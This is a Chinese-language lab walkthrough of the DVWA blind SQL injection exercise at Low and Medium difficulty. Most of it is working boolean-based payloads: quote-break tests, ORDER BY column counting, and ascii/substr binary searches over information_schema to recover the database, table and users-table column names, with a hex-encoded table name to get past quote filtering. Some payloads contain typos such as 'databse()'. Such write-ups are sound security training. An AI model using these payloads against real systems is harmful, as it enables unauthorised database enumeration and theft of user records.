DVWA-SQL Injection(Blind)
LOW
1.判斷是否存在注入
輸入1
顯示使用者存在
輸入1’ and 1 = 1 – ’
顯示使用者存在
輸入1‘ and 1 = 2 – ’
顯示使用者不存在,說明存在字元型的SQL盲注。
2.猜解SQL查詢語句中的欄位數
輸入1’ or 1 = 1 order by 1 – ’
顯示不存在
輸入1’ or 1 = 1 order by 2 – ’
顯示存在
輸入1’ or 1 = 1 order by 3 – ’
顯示不存在,說明該SQL查詢語句中只有2個欄位
3.獲取當前資料庫
輸入1’ and ascii(substr(databse(),1,1))>97 -- ',顯示存在,說明資料庫名的第一個字元的ascii值大於97(小寫字母a的ascii值); 輸入1’ and ascii(substr(databse(),1,1))<122 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於122(小寫字母z的ascii值); 輸入1’ and ascii(substr(databse(),1,1))<109 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於109(小寫字母m的ascii值); 輸入1’ and ascii(substr(databse(),1,1))<103 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於103(小寫字母g的ascii值); 輸入1’ and ascii(substr(databse(),1,1))<100 -- ',顯示不存在,說明資料庫名的第一個字元的ascii值不小於100(小寫字母d的ascii值); 輸入1’ and ascii(substr(databse(),1,1))>100 -- ',顯示不存在,說明資料庫名的第一個字元的ascii值不大於100(小寫字母d的ascii值),所以資料庫名的第一個字元的ascii值為100,即小寫字母d。 ... 解出資料庫名為’dvwa'
4.獲取資料庫中的表
輸入1’ union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 1 – ’
顯示不存在
輸入1’ union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 2 – ’
顯示存在,說明‘dvwa’庫中有2個表
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 -- ' 顯示不存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 -- ' 顯示不存在 ... 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 -- ' 顯示存在
說明第一個表名長度為9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 -- ' 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 -- ' 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 -- ' 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 -- ' 顯示不存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 -- ' 顯示不存在
說明第一個表的名字的第一個字元為小寫字母g。
…
重複上述步驟,即可猜解出兩個表名 guestbook、users。
5.獲取表中欄位名
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 -- ' 顯示不存在
...
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 -- ' 顯示存在
說明users表有8個欄位。
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 -- ' 顯示不存在
...
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 -- ' 顯示存在
說明users表的第一個欄位為7個字元長度。
採用二分法,即可猜解出所有欄位名。
Medium
1.判斷是否存在注入
將id修改為1’ and 1= 1 – ’
顯示不存在
將id修改為 1 and 1 = 1 – ’
顯示存在,說明存在數字型的SQL盲注。
2.猜解SQL查詢語句中的欄位數
輸入1 or 1 = 1 order by 1 – ’
顯示存在
輸入1 or 1 = 1 order by 2 – ’
顯示存在
輸入1 or 1 = 1 order by 3 – ’
顯示不存在,說明該SQL查詢語句中有2個欄位
3.獲取當前資料庫
輸入1’ and ascii(substr(databse(),1,1))>97 – ',顯示存在,說明資料庫名的第一個字元的ascii值大於97(小寫字母a的ascii值);
輸入1 and ascii(substr(databse(),1,1))<122 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於122(小寫字母z的ascii值);
輸入1 and ascii(substr(databse(),1,1))<109 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於109(小寫字母m的ascii值);
輸入1 and ascii(substr(databse(),1,1))<103 -- ',顯示存在,說明資料庫名的第一個字元的ascii值小於103(小寫字母g的ascii值);
輸入1 and ascii(substr(databse(),1,1))<100 -- ',顯示不存在,說明資料庫名的第一個字元的ascii值不小於100(小寫字母d的ascii值);
輸入1 and ascii(substr(databse(),1,1))>100 -- ',顯示不存在,說明資料庫名的第一個字元的ascii值不大於100(小寫字母d的ascii值),所以資料庫名的第一個字元的ascii值為100,即小寫字母d。
...
解出資料庫名為’dvwa'
4.獲取資料庫中的表
修改id為1 union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 1 -- ' 顯示不存在
修改id為1 union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 2 -- ' 顯示存在
再通過不斷注入查詢確定2個表的表名長度,通過二分法不斷猜解得到表名。
5.獲取表中欄位名
1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=1 -- ‘ 顯示不存在
...
1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=8 -- ‘顯示存在
說明users表有8個欄位。
1 and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 -- ' 顯示不存在
...
1 and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 -- ' 顯示存在
說明users表的第一個欄位為7個字元長度。
採用二分法,即可猜解出所有欄位名。